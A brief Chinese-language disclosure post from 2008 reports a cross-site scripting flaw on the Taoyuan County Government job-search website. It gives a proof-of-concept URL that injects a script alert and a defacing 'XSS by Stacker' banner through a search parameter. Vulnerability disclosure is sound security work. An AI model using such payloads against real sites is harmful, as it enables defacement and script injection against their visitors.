桃園縣政府人力e網通網站存在XSS安全漏洞
2008 年 10 月 05 日 – 23:29:25桃園縣政府人力e網通網站存在XSS (Cross-Site Scripting) 安全漏洞。
測試語法,如下所示:
http://tbank.tycg.gov.tw/search/SearchResult.asp?p=gov&s=taoyuan_attach%27%22%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Stacker%3C/h1%3E%3C/marquee%3E
測試結果,如下圖所示:


